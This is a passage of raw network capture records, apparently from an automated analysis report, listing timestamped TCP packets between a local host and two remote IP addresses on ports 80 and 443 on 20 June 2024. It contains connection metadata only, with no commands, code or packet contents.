Jun 20, 2024 15:38:14.474386930 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474390984 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474426031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474442959 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474459887 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474474907 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474504948 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474513054 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474550009 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474560022 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474592924 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474603891 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474638939 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474658966 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474683046 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474693060 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474725008 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474745989 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474765062 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474775076 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474818945 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474828005 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474873066 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474879026 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474915028 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.474931955 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474966049 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.474971056 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475019932 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475027084 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475060940 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475075960 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475097895 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475106955 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475131989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475148916 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475167990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475176096 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475212097 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475235939 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475287914 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475289106 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475338936 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475342035 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475379944 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475394964 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475409031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475429058 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475455999 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475455999 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475491047 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475512981 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475526094 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475552082 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475559950 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475569963 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475610971 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475611925 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475662947 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475671053 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475697041 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475712061 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475732088 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475742102 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475771904 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475784063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475827932 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475835085 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475867987 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475881100 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475909948 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475919962 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475955009 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475974083 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.475986958 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.475994110 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476020098 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476042032 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476073027 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476074934 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476108074 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476124048 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476142883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476156950 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476176977 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476191998 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476214886 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476226091 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476248026 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476264954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476280928 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476293087 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476314068 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476321936 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476347923 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476356983 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476381063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476389885 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476414919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476422071 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476449013 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476461887 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476501942 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476505995 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476536989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476543903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476571083 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476586103 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476603985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476608992 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476639986 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476654053 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476686001 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476697922 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476732016 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476746082 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476764917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476777077 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476808071 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476820946 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476855040 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476872921 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476888895 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476897955 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476922989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476932049 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476957083 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.476969957 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.476990938 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.477005005 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.477042913 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.485476017 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:14.485569000 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:14.485654116 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:14.487639904 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:14.487677097 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:14.511852026 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.511907101 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.511924982 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.511940956 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.511955023 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.511975050 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.511985064 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.512011051 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.512015104 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.512044907 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.512057066 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.512079954 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.512087107 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.512129068 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515254974 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515304089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515316010 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515345097 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515357018 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515389919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515404940 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515424013 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515441895 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515458107 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515465975 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515500069 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515508890 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515552044 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515561104 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515595913 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515616894 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515638113 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515647888 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515682936 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515690088 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515716076 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515728951 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515750885 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515757084 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515783072 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515800953 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515821934 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515825987 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515863895 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515909910 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515944004 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515954971 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.515975952 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.515979052 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.516009092 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.516017914 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.516041994 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.516052961 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.516077995 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.516083956 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.516109943 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.516115904 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.516151905 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.559966087 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560004950 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560039997 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560045004 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560069084 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560095072 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560126066 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560126066 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560128927 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560163021 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560184956 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560210943 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560218096 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560269117 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560270071 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560319901 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560323954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560364962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560372114 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560405016 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560422897 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560436964 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560452938 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560472012 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560486078 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560513020 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560530901 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560564041 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560580969 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560597897 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560614109 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560636044 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560651064 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560671091 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560686111 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560703039 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560713053 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560736895 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560748100 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560770035 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560785055 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560803890 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560813904 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560837984 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.560841084 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.560882092 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561203003 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561252117 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561288118 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561317921 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561332941 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561410904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561425924 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561454058 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561465025 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561497927 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561510086 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561538935 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561551094 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561599016 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561600924 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561641932 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561654091 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561686993 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561702013 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561738014 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561743975 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561777115 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561785936 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561810970 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561819077 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561844110 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561851025 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561877966 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561892033 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561916113 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561928988 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.561975956 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.561981916 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562031984 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562032938 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562067032 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562078953 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562108040 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562117100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562150002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562160015 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562190056 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562227011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562299013 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562305927 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562335014 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562351942 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562376022 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562386990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562433004 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562438011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562472105 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562477112 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562505960 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562516928 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562546015 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562556982 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562592030 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562602997 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562632084 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562644005 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562678099 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562696934 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562711954 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562724113 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562746048 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562755108 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562788010 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562796116 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562834024 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562840939 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562866926 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562876940 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562901020 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562913895 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562933922 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562947035 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.562967062 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.562979937 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563000917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563016891 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563035011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563044071 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563066959 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563076973 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563102007 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563112020 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563134909 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563144922 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563169956 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563180923 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563201904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563220978 CEST	49710	80	192.168.2.5	77.91.77.81
